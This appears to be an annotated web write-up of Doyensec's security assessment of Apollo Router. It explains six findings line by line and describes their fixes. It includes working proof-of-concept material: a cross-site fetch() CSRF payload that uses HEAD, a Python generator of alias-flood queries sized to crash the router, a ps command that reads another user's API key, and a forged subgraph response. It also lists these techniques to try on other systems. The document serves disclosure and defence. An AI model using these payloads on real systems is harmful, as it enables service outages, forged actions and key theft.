Line by line. impl<S> Layer<S> for ForbidHttpGetMutationsLayer says this code defines a "layer", a wrapper that inspects requests before they go further, for a type called ForbidHttpGetMutationsLayer. The where lines list requirements on the inner service S: it must handle ExecutionRequest and produce ExecutionResponse, be safe to send between threads (Send), and live for the whole program ('static). type Service = CheckpointService<S, ExecutionRequest>; says the wrapped service is a checkpoint service. fn layer(&self, service: S) is the function that builds the wrapper around the given service. CheckpointService::new( starts creating it with a check function. |req: ExecutionRequest| { begins that check, which receives each request. The final line is the actual test: if the original request's method is GET and the query plan contains mutations, then (in the code that follows, not shown here) the request is rejected. The flaw is the word GET: HEAD is never mentioned, so a HEAD request carrying a mutation slips through.

The CORS policy, default or custom, which could stop such requests from the browser, can be completely bypassed by leaving out the Origin header altogether. CORS (Cross-Origin Resource Sharing) is a browser rule that decides whether a page from one site may talk to another site; the browser announces where the page came from in an Origin header. No Origin header, no check. And because the router turns the HEAD request into the corresponding POST request, the attack also gets past the CSRF protection recently added when the router is used with Apollo Server.

  1. The attacker tricks an authenticated victim into opening a malicious page. This JavaScript sends the HEAD request, attaches cookies and avoids sending the Origin header:
JavaScript
fetch("http://localhost:4000/graphql?query=mutation+CreateProduct{createProduct(upc:%22somename%22){inStock}}", { mode: 'no-cors', 'method': 'HEAD', credentials: 'include' })

Line by line. fetch( is the browser function for making a web request. The first argument is the address: the router at localhost port 4000, with a query in the URL that asks to run a mutation called CreateProduct, creating a product with the code "somename" and asking for its inStock field. The %22 sequences are just the quote character encoded for a URL. The second argument is an options object: mode: 'no-cors' tells the browser not to apply the usual cross-origin checks, 'method': 'HEAD' uses the HEAD verb, and credentials: 'include' tells the browser to attach the victim's cookies. The attacker needs the victim to load this code, which is why the step starts with tricking them onto a page.

  1. The Firefox browser produces this request. The cookie is added by the browser and there is no Origin header, which bypasses any CORS configuration:
HTTP
HEAD /graphql?query=mutation+CreateProduct{createProduct(upc:%22somename%22){inStock}} HTTP/1.1
Host: localhost:4000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: sessionCookie=<REDACTED>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache

Line by line. The first line is the request line: the method HEAD, the path with the query, and the HTTP version. Host says which site is being contacted. User-Agent identifies the browser and operating system. Accept and Accept-Language say what kinds of content and language the browser will take. Accept-Encoding lists compression formats it understands. DNT: 1 is the old "do not track" preference. Connection: close asks to close the connection after this exchange. Cookie carries the victim's session cookie, added by the browser because credentials: 'include' was set; the value is redacted here because it is a secret. The Sec-Fetch-* headers are the browser's own notes about the request: it is a cross-site request made without CORS. Pragma and Cache-Control ask that nothing be cached. The absence of an Origin header is the point.

The response is a plain 200:

HTTP
HTTP/1.1 200 OK
content-length: 169
date: Fri, 06 May 2022 09:45:42 GMT

Line by line. 200 OK means the server accepted the request. content-length: 169 says the body is 169 bytes long. date is when the server answered. Nothing here says "rejected", which is exactly the problem.

  1. The router then makes this request to the subgraph, turning the HEAD into a POST:
HTTP
POST / HTTP/1.1
content-type: application/json
host: products.demo.starstuff.dev
Content-Length: 141
Connection: close

{"query":"mutation CreateProduct__products__0{createProduct(upc:\"somename\"){__typename upc}}","operationName":"CreateProduct__products__0"}

Line by line. The method is now POST, sent to the products subgraph. content-type: application/json says the body is JSON. host names the subgraph. Content-Length: 141 is the body size. After the blank line comes the body: a JSON object with a query field holding the mutation, and an operationName giving it a label. The router has rewritten the request into the form the subgraph expects, which is why the mutation actually runs.

The impact is described as High: CSRF lets an unauthenticated attacker perform actions through an authenticated victim's session, and this one is considered severe because it might affect downstream applications in a significant way. The finding itself is rated Medium. Complexity is Low; the hardest part is getting a victim to click a link or visit a page containing the attacker's HTML or JavaScript.

APO-Q222-3: leaking the Apollo key through command line arguments

Users can supply an Apollo Key through the YAML configuration file or through environment variables. YAML is a plain-text format for settings files, and an environment variable is a named value the operating system keeps for a running program, a bit like a note pinned to the program's coat. The application also allows setting the key on the command line, and that has the highest precedence, meaning it wins over the other two:

Text
--apollo-key <APOLLO_KEY>
    Your Apollo key [env: APOLLO_KEY=]

Line by line. --apollo-key is the option name, and <APOLLO_KEY> is the placeholder for the value you type after it. The second line is the help text: it says this is your Apollo key and that the same value can come from the environment variable APOLLO_KEY. The problem is that the application does not stop the key from being seen by other users on the same machine. Unlike environment variables, the command line arguments of a running process are visible to every local user.

  1. Run this command as a different user from the one running the router:
Bash
$ ps aux | grep -i [r]outer
tbnz  295249  0.8  0.2 6171216 85244 pts/9  Sl+  10:23  0:01 target/debug/router --supergraph ../starstuff.graphql -c router.yaml --apollo-key service:MyGraph-2-fniawc:VkMaDl-<REDACTED>

Line by line. ps aux lists all running processes with their details. The | pipe sends that list into the next command. grep -i [r]outer searches it for the word "router", ignoring case; the square brackets are a trick so that the search command does not match itself. The output line shows the process owner, its process number 295249, memory and CPU figures, the terminal, the start time, and then the full command that started it, including --apollo-key and the key itself. The key is redacted here because it is a secret. The researchers ran this as a different user to show that any account on the machine can read it.

The impact is Medium: if the key is passed as a shell argument, an attacker can steal it and impersonate the victim. Exploiting it requires having an account on the same server.

APO-Q222-4: ambiguous header propagation and removal

The affected component is router/apollo-router-core/src/plugins/headers.rs. The router lets you write a configuration file for header manipulation, with operations such as "propagate" (pass a header on to the subgraph) and "remove" (strip it out). The documentation never says in what order these rules run.

  1. In this example every header is passed to the subgraph except test, which is listed last and is removed. That is intuitive and expected:
Text
headers:
  all:
    - propagate:
        matching: .*
    - remove:
        named: "test"

Line by line. headers: starts the header settings. all: means the rules apply to all headers. The first rule is propagate with matching: .*, where .* is a pattern meaning "anything" (a regular expression, a mini-language for describing text patterns). So pass everything through. The second rule is remove with named: "test", which drops the header called test. Reading top to bottom, the result is what you would guess.

  1. This example gives a different result. Here the header test is removed first, but the propagate code adds it back, effectively ignoring the removal. The final effect is that test is passed on to the subgraph:
Text
headers:
  all:
    - remove:
        named: "test"
    - propagate:
        matching: .*

Line by line. The same two rules, swapped. First remove test, then propagate everything. Because propagate reads from the original incoming request rather than from the request being built for the subgraph, it copies test back in. The order of the rules silently changes the outcome.

The propagate operation reads from req.originating_request.headers instead of req.subgraph_request.headers_mut, which is the structure the insert and remove operations have already modified:

Text
Operation::Remove(Remove::Named(name)) => {
    req.subgraph_request.headers_mut().remove(name);
}
..
Operation::Propagate(Propagate::Named {
    named,
    rename,
    default,
}) => {
    let headers = req.subgraph_request.headers_mut();
    let value = req.originating_request.headers().get(named);
    if let Some(value) = value.or(default.as_ref()) {
        headers.insert(rename.as_ref().unwrap_or(named), value.clone());
    }
}
Operation::Propagate(Propagate::Matching { matching }) => {
    let headers = req.subgraph_request.headers_mut();
    req.originating_request
        .headers()
        .iter()
        .filter(|(name, _)| matching.is_match(name.as_str()))
        .filter(|(name, _)| !RESERVED_HEADERS.contains(name))
        .for_each(|(name, value)| {
            headers.insert(name, value.clone());
        });
}

Line by line. The first block handles a remove rule: it takes the outgoing request's headers (subgraph_request.headers_mut(), the mutable view of them) and removes the named header. The .. stands for code omitted between the blocks. The second block handles a propagate rule for one named header: it gets the outgoing headers, looks the value up in the original incoming request (originating_request.headers().get(named)), falls back to a default if there is none, and inserts it into the outgoing headers, under a new name if one was given. The third block handles a propagate rule that matches many headers: it walks every header of the original incoming request, keeps those whose name matches the pattern, skips reserved headers that must not be forwarded, and inserts each one into the outgoing headers. In both propagate cases the source is the original request, so anything removed earlier is simply copied back.

The impact is N/A, meaning no direct impact. Using the propagation pattern .*, the first pattern mentioned in the documentation, a user could put the removal statement in the wrong place and create a security misconfiguration. Complexity depends on the user's router configuration.

APO-Q222-5: overwriting data returned by the subgraphs

One of the router's basic jobs is to combine several subgraphs into one supergraph. When a user sends a query that needs several data sources, the sub-queries go to the relevant subgraphs and the user receives only the merged result. Because the router does not check which answer came from which subgraph before merging, one subgraph can overwrite data served by another. That breaks the integrity of the response, meaning the answer can no longer be trusted to be what it claims, since any subgraph can step in.

  1. Using the starstuff.graphql supergraph, this query:
JSON
{"query":"query TopProducts($first: Int) {\n  topProducts(first: $first) {\n    name\n    price\n  }\n  me {\n    name\n    id\n  }\n}"}

Line by line. The outer braces make a JSON object with one field, query, whose value is the GraphQL text. query TopProducts($first: Int) names the operation and declares a variable first of type integer. topProducts(first: $first) asks for a list of products, limited by that variable, and for each one the name and price. me asks for the current user's name and id. The \n sequences are newlines encoded inside the JSON string.

returns:

JSON
{"data":{"topProducts":[{"name":"Table","price":899},{"name":"Couch","price":1299},{"name":"Chair","price":54}],"me":{"name":"Ada Lovelace","id":"1"}}}

Line by line. data holds the answer. topProducts is a list of three objects, each with a name and a price. me is one object with a name and an id. This is the correct, merged answer.

  1. It consults these subgraphs, with the data each returned:
Text
https://accounts.demo.starstuff.dev
{"data":{"me":{"name":"Ada Lovelace","id":"1"}}}

https://products.demo.starstuff.dev
{"data":{"topProducts":[{"name":"Table","price":899},{"name":"Couch","price":1299},{"name":"Chair","price":54}]}}

Line by line. The accounts subgraph supplies the me object. The products subgraph supplies the topProducts list. The router takes both and merges them into the answer above.

  1. Suppose the products subgraph is malicious and, instead of returning the JSON with topProducts, returns the me object instead:
JSON
{"data":{"me":{"name":"Elizabeth Medora Leigh","id":"1"}}}

Line by line. This is a valid-looking answer, but it contains a me object with a different name. Because the router merges by shape rather than by origin, this object can replace the legitimate one.

The user then sees only the altered data:

HTTP
HTTP/1.1 200 OK
content-length: 58
date: Thu, 12 May 2022 11:23:00 GMT

{"data":{"me":{"name":"Elizabeth Medora Leigh","id":"1"}}}

Line by line. The status is 200 OK, so nothing looks wrong. The body is the tampered answer. The legitimate name has been replaced.

The order of requests matters: to overwrite the legitimate response, the malicious subgraph's request must arrive after the legitimate one. The ordering of sub-requests is random and changes with every request. The issue can be reproduced by sending the router's traffic through a local HTTPS proxy, for example Burp Suite with proxychains.

The impact is described as High: an attacker who knows the original query can overwrite the legitimate responses to serve arbitrary content. The finding itself is rated Informational. Complexity is High, because exploitation needs a malicious or compromised subgraph. The finding was outside the scope of the assessment: in the agreed threat model all subgraphs were trusted, so it was closed.

APO-Q222-6: DoS via query name based batching

A single query containing many query name aliases crashes the router: the tokio-runtime-worker thread fails to parse it and panics. An alias is a label you give to a field so you can ask for the same field several times under different names, like putting name tags on identical boxes. The tests ran on binaries built from the latest code in the main branch (commit ID [redacted]).

  1. Start the router with the prod-schema.graphql schema:
Bash
$ ./target/debug/router -c router.yaml --supergraph prod-schema.graphql --log error

Line by line. ./target/debug/router runs the debug build of the router, a version compiled with extra checks that is slower but easier to investigate. -c router.yaml points to a configuration file. --supergraph prod-schema.graphql gives the schema. --log error sets logging to show only errors. The production schema was used just for demonstration; the same issue could be reproduced with another supergraph such as starstuff.graphql.

  1. This PoC Python script generates a query with many aliases, taking the count as an argument:
Python
#!/usr/bin/env python
from sys import argv
count = int(argv[1])
BODY = "{"
for i in range(1,count):
    BODY += "Q{:d}:product(id:{:d})".format(i, i)
    BODY += "{url},"
BODY = BODY[:-1]
TEMPLATE="""
{"query":"query """ + BODY + """}"}"""
with open("PoC.json", "wt") as f:
    f.write(TEMPLATE)

Line by line. The first line marks the file as Python. from sys import argv brings in the command-line arguments. count = int(argv[1]) reads the first argument as a number. BODY = "{" starts the query body with an opening brace. The for loop runs from 1 to count minus one: each time it appends an alias like Q1:product(id:1) followed by {url},, so the same field is requested many times under different names. BODY = BODY[:-1] removes the trailing comma. TEMPLATE wraps the body in a JSON object with a query field. The last two lines write it to PoC.json. The researchers built this to see whether a single request with many aliases could overwhelm the parser.

  1. To crash the debug version of the server, a request with about 50,000 aliases (a 1.3MB POST request) is needed:

Line by line. python gen.py 50000 generates the file with 50,000 aliases. && runs the next command only if that worked. curl -d @PoC.json sends the file as the request body to the local router on port 4000, and -H $'Content-Type: application/json' says the body is JSON. The size matters: 1.3MB is large but perfectly ordinary for a web request.

Text
2022-05-12T08:50:14.904706Z TRACE hyper::proto::h1::conn: flushed({role=server}): State { reading: KeepAlive, writing: Init, keep_alive: Busy }
thread 'tokio-runtime-worker' has overflowed its stack
fatal runtime error: stack overflow

Line by line. The first line is a trace message from hyper, the HTTP library, saying it flushed some data and describing its internal state. The second line says the worker thread ran out of stack. The third is Rust's final message. Again, the process does not come back on its own.

  1. To crash the release version of the server, a request with about 1 million aliases (a 30MB POST request) is needed:

Line by line. Same as before, but with 1,000,000 aliases. The release build is optimised for speed and has fewer checks, so it takes a much bigger request to bring it down. The researchers tested both builds to show the issue is real in production, not just in the debug version.

Text
./target/release/router -c router.yaml --supergraph prod-schema.graphql --log error
<--- Last few GCs --->
[48143:0x7fe38954f000]  46094 ms: Scavenge 1364.8 (1414.8) -> 1364.4 (1426.6) MB, 6.1 / 0.0 ms (average mu = 0.203, current mu = 0.160) allocation failure;
[48143:0x7fe38954f000]  46114 ms: Scavenge 1373.8 (1427.3) -> 1374.5 (1429.3) MB, 6.2 / 0.0 ms (average mu = 0.203, current mu = 0.160) allocation failure;
[48143:0x7fe38954f000]  46768 ms: Scavenge 1374.5 (1429.3) -> 1373.8 (1451.3) MB, 654.0 / 0.0 ms (average mu = 0.203, current mu = 0.160) allocation failure;
<--- JS stacktrace --->
#
# Fatal javascript OOM in Reached heap limit
#

Line by line. The first line is the command that started the router. The GC lines are garbage collection reports: the program is trying to free memory and failing, with timestamps in milliseconds, memory sizes in megabytes, and pause times. allocation failure means it could not get more memory. The final lines say the program ran out of memory (OOM, out of memory) and reached its heap limit, the maximum memory it was allowed to use. The heap is the pool of memory a program uses for its data. So this crash is a memory exhaustion rather than a stack overflow, but the effect is the same: the router dies.

The impact is potentially high: if the GraphQL router endpoint is reachable without authentication, an attacker can trivially crash the service and stop all users from using it. The finding was reproduced on MacOS and Linux, and in every confirmed case the administrator had to restart the crashed process by hand. Complexity is trivial; one HTTP request is enough.

Why these bugs happened

APO-Q222-1 and APO-Q222-6 share a root cause in the apollo-parser crate: parsing deeply nested or heavily aliased documents recurses until the worker thread overflows its stack and the process aborts. The gdb trace for the cyclic query shows the recursion in AstChildren::next and the iterator try_fold/find_map chain. The recommended remediations were depth limiting and limiting the size of incoming requests.

APO-Q222-2 is a check that is too narrow: the ForbidHttpGetMutationsLayer rejects mutations only when req.originating_request.method() == Method::GET, leaving HEAD unhandled. The router then turns the HEAD request into a POST towards the subgraph, so the mutation runs. The CORS policy does not help because the browser request carries no Origin header, and the CSRF protection recently added for use with Apollo Server is bypassed for the same reason.

APO-Q222-3 is a design choice: the key can be given as a command line argument, and command line arguments of running processes are visible to all local users, unlike environment variables.

APO-Q222-4 is an implementation detail: the propagate operation reads from req.originating_request.headers rather than req.subgraph_request.headers_mut, so headers removed earlier in the same configuration are added back. The documentation does not say the rules are order dependent.

APO-Q222-5 is a merge that trusts the shape of each subgraph response: the router does not check which answer came from which subgraph before merging, so a subgraph can return an object belonging to another subgraph and overwrite it, provided its response arrives after the legitimate one.

How serious each one is

APO-Q222-1 and APO-Q222-6 are potentially high impact: if the GraphQL endpoints are reachable without authentication, an attacker can trivially crash the service and stop all users, and the administrator has to restart the process by hand. APO-Q222-2 is rated Medium; the impact text says High: CSRF lets an unauthenticated attacker act through an authenticated victim's session, and it might affect downstream applications significantly. APO-Q222-3 is rated Informational; the impact text says Medium: an attacker with an account on the same server can steal the key and impersonate the victim. APO-Q222-4 has no direct impact (N/A); a user could put the removal statement in the wrong place and create a security misconfiguration. APO-Q222-5 is rated Informational, since exploitation needs a malicious or compromised subgraph, which the agreed threat model excluded.

Overall, the security posture of the product was found to be in line with industry best practices, and at the design level the system was found to be well architected.

How the problems were fixed

All six issues were mitigated in a timely manner by the Apollo Graph team, and the retest on release v0.9.4 confirmed the fixes worked. No outstanding security vulnerabilities discovered during the engagement remain.

Text
fn layer(&self, service: S) -> Self::Service {
    CheckpointService::new(
        |req: ExecutionRequest| {
            if req.originating_request.method() != Method::POST && req.query_plan.contains_mutations()

Line by line. This is the same layer function as before, but the test has changed. req.originating_request.method() != Method::POST means "if the method is anything other than POST", and && req.query_plan.contains_mutations() means "and the query contains mutations". So now every method except POST is rejected when a mutation is present, which closes the HEAD gap.

  • APO-Q222-3: the Apollo Graph team removed the APOLLO_KEY and APOLLO_GRAPH_REF command line parameters in the pull request https://github.com/apollographql/router/pull/1069. The recommendation was to pass the key through a file (after checking that only the owner can read it) or a pipe, or to remove the option, or at least to document the security implication.
  • APO-Q222-4: the documentation was updated to describe clearly the unwanted effect of adding back removed headers and to show how to avoid it. The issue was remediated in https://github.com/apollographql/router/pull/1061/commits/[redacted]. The alternative was to change the application so it does not propagate headers that were already removed.
  • APO-Q222-5: the recommendation is to ensure the returned object is the same as the one requested, information that is already in the JSON data. As a workaround, users must make sure all subgraphs are trusted and cannot be tampered with by adversaries.
  • APO-Q222-6: dynamic testing confirmed the vulnerability was addressed in release v0.9.4. The recommendation is to limit the size of incoming requests, or make that setting configurable with a secure default, and as an extra measure to implement depth limiting.

The report also lists long-term improvements. Since availability is one of the main goals of this infrastructure component, consider restructuring the code so that user input processing runs in a separate process or thread, so the router survives if the child process crashes. And run cargo audit regularly and remove unmaintained packages: failure, net2 and serde_cbor are deprecated and should be replaced with the recommended alternatives. Cargo audit is a tool that checks a Rust project's dependencies for known problems.

On fuzzing, Doyensec spent one day evaluating the harness in https://github.com/apollographql/apollo-rs/tree/main/crates/apollo-smith, based on the generate_valid_document function and the apollo-smith document builder. A harness is the setup that feeds input to a fuzzer and watches for crashes. The implementation is considered well written and efficient at finding specific bugs, but the router repository currently only deploys differential fuzzing, whose coverage is based on GraphQL document generation only and relies only on valid documents. Differential fuzzing means running two versions or configurations side by side and looking for differences. The proposed expansions are: 1) fuzz more components, for example by changing the web server to read data from the fuzzer instead of the network socket, which increases throughput and covers third-party libraries but may need considerable restructuring; 2) at least for the Lexer and Parser (the parts that split text into tokens and build the syntax tree), add another fuzzer that uses test cases from the grammar fuzzer stored as valid GraphQL documents and recombines them into meaningful documents that are not always fully valid; 3) for the Lexer and Parser, consider adding https://github.com/rust-fuzz/afl.rs as a secondary fuzzer, since AFL might find newer bugs even where the two overlap.

Things to try on other systems

These are the variants the researchers suggest testing elsewhere, each with what a positive result looks like.

  • Send HEAD requests carrying a mutation to any GraphQL endpoint that blocks mutations on GET. A positive result is a state change on the backend, or a 200 with the mutation executed, while the equivalent GET is rejected.
  • Repeat the HEAD request without an Origin header from a cross-site page. A positive result is that the request is processed despite the CORS configuration.
  • Send deeply nested or cyclic selection sets (the F/S repetition above) and watch the process. A positive result is a stack overflow in a worker thread and a process that does not restart.
  • Send a single query with a very large number of aliases and watch response time and memory. A positive result is a crash or an out-of-memory condition from one request.
  • Run ps aux as a different local user while the service runs with secrets on the command line. A positive result is a key or token visible in the process listing.
  • Configure header removal followed by a broad propagate rule and check the headers the subgraph receives. A positive result is the removed header reappearing downstream.
  • With a proxy in front of the router, have one subgraph return an object that belongs to another subgraph and check the merged response. A positive result is the altered object replacing the legitimate one when the malicious response arrives last.
  • Enable introspection and run InQL against the endpoint to see whether cyclic queries are recognised automatically, which indicates the same parser exposure.

What the team set out to test

The high level tests Doyensec ran were: investigate whether mutations can be sent with the GET and HEAD HTTP methods; test header propagation against Regex ReDoS (a regular expression that takes enormous time to evaluate), CRLF (injecting line breaks into headers), bypasses in configured rules, header removal, request smuggling attacks (hiding a second request inside the first) and Hop By Hop Headers (headers meant only for a single connection), and HTTP2 and older version support; test CORS configuration and possible bypasses; investigate the logging implementation for environment variable expansion and secrets or API keys; investigate traffic shaping; investigate subgraph error inclusion; investigate reports from SAST tools (static application security testing, tools that scan source code for problems); investigate disabling introspection queries and possible bypasses; review Docker images for misconfigurations, private images or registries, dependencies with known vulnerabilities and hardcoded secrets; investigate cache implementations (normal cache and automatic persisted queries); investigate the query planner implementation; investigate DoS issues such as crashes in the tokio-runtime-worker component, recursion and nested objects handling across subgraphs when combined, handling of batching queries with GraphQL, and protection against cyclic or long queries; focus on plugins implementation (header manipulation, RHAI, Telemetry plugin, Forbid mutations plugin, plugin ordering and other plugins enabled by default); review all exposed endpoints for standard web security issues (for example the OWASP Testing Guide); and investigate Managed mode and Apollo Uplink, verifying the security mechanism against MITM attacks and checking any differences between the local and managed setup.

Glossary

  • API: the doorway a program offers so other programs can talk to it.
  • Alias: a label given to a GraphQL field so the same field can be requested several times under different names.
  • Apollo Router: a program that sits between users and many smaller services, forwarding queries and merging the answers.
  • Apollo Uplink: the mechanism the router uses to receive schema updates.
  • apollo-parser: the Rust package that reads GraphQL text and turns it into a structure the program can use.
  • Backtrace: the list of function calls that led to a crash, newest first.
  • Bradamsa: a wrapper around the radamsa random-input fuzzer.
  • Burp Suite: a tool for watching and editing web traffic passing through your machine.
  • Cargo audit: a tool that checks a Rust project's dependencies for known problems.
  • Cargo-fuzz: a fuzzer for Rust code.
  • Closed: a finding that has been fixed.
  • Commit ID: a unique fingerprint of a saved state of source code.
  • Cookie: a small piece of data a website stores in your browser so it can recognise you next time.
  • CORS: a browser rule deciding whether a page from one site may talk to another site.
  • Crate: Rust's word for a reusable package of code.
  • CSRF (Cross Site Request Forgery): tricking a logged-in user's browser into sending a request the user did not intend.
  • CSRF protection: a mechanism that blocks such forged requests.
  • curl: a command-line tool for fetching things from the web.
  • Cyclic query: a query that refers back to itself over and over, making the parser go deeper instead of finishing.
  • Debug build: a version of a program compiled with extra checks, slower but easier to investigate.
  • Denial of Service (DoS): making a service unavailable to its legitimate users, for example by crashing it.
  • Differential fuzzing: running two versions or configurations side by side and looking for differences.
  • Docker: a tool that packages software with everything it needs so it runs the same way anywhere.
  • Environment variable: a named value the operating system keeps for a running program.
  • Fuzzing: feeding a program huge amounts of random or semi-random input to see if it breaks.
  • Garbage collection (GC): the process of freeing memory a program no longer needs.
  • gdb: a debugger that lets you pause a program and look at what it is doing.
  • GraphQL: a way of asking an API for exactly the data you want in one request.
  • Harness: the setup that feeds input to a fuzzer and watches for crashes.
  • HEAD: an HTTP method that asks for only the headers of a response, not the body.
  • Header: a small label attached to a web request or response, like handling notes on an envelope.
  • Heap: the pool of memory a program uses for its data.
  • Hop By Hop Headers: headers meant only for a single connection, not to be passed on.
  • HTTP method: the verb of a web request, such as GET, POST or HEAD.
  • InQL: a tool that inspects GraphQL APIs.
  • Insecure Design: a weakness that comes from how a feature was planned, not from a coding slip.
  • Integrity: the property that data is what it claims to be and has not been altered.
  • Introspection: a GraphQL feature that lets a client ask the server to describe itself.
  • JSON: a text format for structured data.
  • JWT plugin: a router component for checking login tokens, left out of scope here.
  • Lexer: the part of a parser that splits text into small tokens.
  • MITM (man in the middle): an attacker positioned between two parties who can read or alter what passes between them.
  • Mutation: a GraphQL request that asks the server to change something.
  • OOM (out of memory): a crash caused by a program using more memory than it is allowed.
  • Open Telemetry: a system for collecting measurements about what software is doing.
  • Origin header: the header in which a browser says which site a page came from.
  • OWASP Testing Guide: a widely used catalogue of web security tests.
  • Panic: Rust's way of stopping a program when something goes badly wrong.
  • Parser: the part of a program that reads incoming text and turns it into a structure the program can work with.
  • Pipe: a way to send the output of one command into another.
  • POST: an HTTP method that sends data to the server to be processed.
  • Proxychains: a helper that forces other programs to send their traffic through a proxy.
  • Query: a GraphQL request that asks for data.
  • Regular expression: a mini-language for describing text patterns.
  • Release build: a version of a program optimised for speed, with fewer checks.
  • Rhai: a scripting language users can use to customise the router.
  • Rust: the programming language the router is written in.
  • SAST (static application security testing): tools that scan source code for problems.
  • Schema: the description of what data an API offers.
  • Severity: how bad a problem is if abused.
  • Stack: a small, fixed area of memory a program uses to keep track of nested work.
  • Stack overflow: running out of stack because nesting went too deep.
  • Subgraph: one of the smaller services behind the router.
  • Supergraph: the combined description of all subgraphs.
  • Thread: one line of work inside a program.
  • tokio: the Rust library that manages threads for asynchronous work.
  • Token: a secret string that proves who you are.
  • Vulnerability: a weakness that can be abused.
  • Vulnerability class: the family a weakness belongs to.
  • warp: a web server library for Rust, out of scope here.
  • YAML: a plain-text format for settings files.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.